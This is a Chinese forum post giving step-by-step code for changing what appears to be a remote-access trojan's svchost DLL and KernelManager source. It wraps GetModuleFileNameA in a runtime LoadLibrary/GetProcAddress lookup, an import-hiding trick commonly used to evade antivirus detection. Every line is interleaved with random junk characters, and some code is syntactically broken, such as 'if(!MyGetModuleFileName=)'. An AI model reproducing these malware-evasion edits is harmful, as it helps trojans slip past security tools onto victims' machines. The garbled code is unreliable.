返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 a0 o  G/ i8 G" j5 D) _
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
# v- O8 u1 s, `6 D8 @* o" E----------------------------------------6 E' m7 t: Q4 ?& `& ~& V
DTDY.h:
5 v1 H, b4 u$ t1 L
4 ]! k+ d, z7 w' I#if _MSC_VER>1000  _, `$ Z0 H# b. X9 ]( S, M  ]
#pragma once
$ s: e- x+ o% K; N6 w#endif //_MSC_VER>1000) a8 g! q7 ?$ K) L5 O$ W
#include<windows.h>
; Y# N0 a. _, u  g
+ o0 [6 w$ n! z# Q2 Xtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);7 m+ G6 e3 ^2 O
class DTDY
) T! H- V; `  ?{' y* B4 z  x$ B$ {
public:
" c" ?' J) v; Y$ ?0 _; CDTDY();. ]2 R- ~* ~, o; ^
virtual ~DTDY();* S9 Y7 i5 R9 n, V; w/ l, p
public:- n1 w6 |; o# T3 h4 ^/ |
static pGetModuleFileNameA MyGetModuleFileName;
* b: Z  p/ }  e& l% ]1 g/ v# Lstatic BOOL FunInitiallization();. x8 _3 D: J  c3 J9 R6 W+ G
};
( |' Y$ k+ R# o' P! O2 `0 M  h#endif- ~# a4 D4 a: ~% b& A/ y# @0 L  L
----------------------------------------& E/ l1 T! L) ~

6 D, V& l* n% b0 Y8 U2 j8 jDTDY.cpp:
9 x% V6 D8 B; `" O7 v, J. c7 J1 A% j
#include "DTDY.h"
4 i/ O- W7 M# o$ F, ^9 R* IpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* `; X' ]$ e' D* C3 ]6 Z2 _
DTDY:TDY()  t5 V* j3 ]7 I, r* @
{
: s3 o; I4 W1 ]& G& n% X* Y1 x' F}
+ l0 P9 ]  s1 h- O# F$ q' ?; bDTDY::~DTDY()
7 e& N* h! a. E: ?3 M8 s{
% E$ Z1 ^! ?5 }- N) o; ^}
* R$ [- S! e* v& d: CBOOL DTDY::FunInitiallization(): e4 r4 r8 T5 j, X9 w3 Y8 K
{
! h  H& [+ Z: Q1 z  n" jHMODULE hModule=LoadLibrary("kernel32.dll");
$ O' y% `5 B+ OMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
9 e+ Z( o9 e! Q' C' R' ~+ yif(!MyGetModuleFileName=) return FALSE;( `: F$ y( _! m1 R

+ l/ M( o# E; e; hreturn TRUE;. o8 I, U1 p; I" }3 I4 D9 r6 [
}# s/ u  s7 l7 ^% K/ S* T, T5 f) M
----------------------------------------7 {* A& O- K; S' o$ J/ `9 v
svchost.cpp:
* I- @3 {/ C, R. f* T' e* `" y. h* ^5 q6 N+ w
#include "DTDY.h"
0 D9 R( f+ [9 j( E9 U/ t2 {, q
3 Q6 U! z( c) I# Q9 qBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" h' C; g3 O. k/ w# X: H{
( b" l: v  u5 _0 r/ Pswitch(ul_reason_for_call)
/ g; U; y7 R; c( d' o. z! z{6 H4 d2 |9 T* {! m
case DLL_PROCESS_ATTACH:8 K7 Z1 ^, H3 Q0 X4 V
if(!DTDY::FunInitiallization()) return FALSE;+ u- N$ d$ x% `" E" ^% h8 h* C

2 |0 [$ k7 e+ [% @/ Ubreak;
$ x( m% z, Q) J# y}& _- f( [+ K3 s+ }2 E* F  S
}
* \5 ]5 o; t* S( J
: A$ F- W7 M; |" Y1 |: s& h; f+ a" \- K" ~5 I& Y2 j6 _. j
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def3 F- F, }) D6 D$ ~" @
改写为
. h4 H) l0 q. Y& t$ ]DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));6 L0 E% p1 J7 _! a( b1 K( m
----------------------------------------5 }7 G7 _' @* P; j0 R. d# Q' z
KernelManager.cpp:
( u; e1 d  E4 d
  k% K4 @% L* L9 b1 C! A# a8 x) o#include "../DTDY.h"+ s- B0 n( s! E  @& J0 s
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));2 M: N$ I- ^+ T% b; {0 H8 P% }
改写为& p7 U* A* u9 v1 p; O
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ O; a0 r7 i0 D  b% W----------------------------------------

返回列表